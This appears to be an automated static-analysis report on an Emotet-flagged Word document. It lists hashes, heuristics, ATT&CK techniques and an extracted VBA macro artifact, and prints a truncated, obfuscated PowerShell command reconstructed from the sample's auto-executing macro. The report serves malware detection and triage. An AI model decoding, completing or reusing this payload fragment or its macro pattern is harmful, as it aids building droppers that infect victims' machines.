Emotet — Office (OLE) / .DOCX malware analysis

Static analysis result for SHA-256 f461c80c1ffe5f5a…

MALICIOUS

Office (OLE) / .DOCX

167.6 KB Created: 2020-09-14 11:57:00 Authoring application: Microsoft Office Word
MD5: 7637074bd80c54eda52209cd6cd501e7 SHA-1: 64e2d57cc9e850ac9821ce565a0c238f0810f341 SHA-256: f461c80c1ffe5f5a08508d85ccdceea0b193d74340caace36da0dfc9c0d9b2ee
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample contains VBA macros, specifically a Document_Open auto-execution macro, which is a strong indicator of malicious intent. The ClamAV detection explicitly names this as Emotet. The embedded VBA code, though truncated, shows evidence of constructing commands to execute PowerShell and potentially download further payloads. The reconstructed string "powershell -2vhaghsghfe JABRAF8AZgA3A2vhaghsghfHcAeQBzAD0AKA2vhaghsghfAoACcAUQBiACc2vhaghsghfAKwAnAG8AegAn2vhaghsghfACsAJwAzAHMAJ2vhaghsghfwApACsAJwB6AC2vhaghsghfccAKQA7AC4AKAA2vhaghsghf5AGgARwBcAHcA2vhaghsghfMgBsAHcARAAyA2vhaghsghfF8AXAAgAC0AaQ2vhaghsghfB0AGUAbQB0AHk2vhaghsghfAcABlACAARABJ2vhaghsghfAFIARQBjAFQAT2vhaghsghfwBSAHkAOwBbAE2vhaghsghf4AZQB0AC4AUwB2vhaghsghflAHIAdgBpAGMA2vhaghsghfZQBQAG8AaQBuA2vhaghsghfHQATQBhAG4AYQ2vhaghsghfBnAGUAcgBdADo2vhaghsghfAOgAiAHMARQBg2vhaghsghfAGMAYABVAHIAS2vhaghsghfQBgAFQAeQBgAH2vhaghsghfAAcgBvAHQAYAB2vhaghsghfvAGMATwBMACIA2vhaghsghfIAA9ACAAKAAoA2vhaghsghfCcAdABsACcAKw2vhaghsghfAnAHMAJwApACs2vhaghsghfAKAAnADEAJwAr2vhaghsghfACcAMgAsACAAd2vhaghsghfAAnACkAKwAnAG2vhaghsghfwAJwArACgAJwB2vhaghsghfzADEAJwArACcA2vhaghsghfMQAsACAAdABsA2vhaghsghfCcAKQArACcAcw2vhaghsghfAnACkAOwAkAEE2vhaghsghfAZQBiADMANwAw2vhaghsghfAGMAIAA9ACAAK2vhaghsghfAAoACcAUABjAC2vhaghsghfcAKwAnAHkAJwA2vhaghsghfpACsAKAAnADcA2vhaghsghfeABnACcAKwAnA2vhaghsghfDYAJwApACkAOw2vhaghsghfAkAFYAZwAwAHA2vhaghsghfAdgBzADIAPQAo2vhaghsghfACcARAByACcAK2vhagh" indicates the execution of PowerShell commands, likely for downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9762269-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762269-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
8a39fc8d6eec119bccb9074c742cbab236c89f429d1a306c2818d1568d873603		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 25223 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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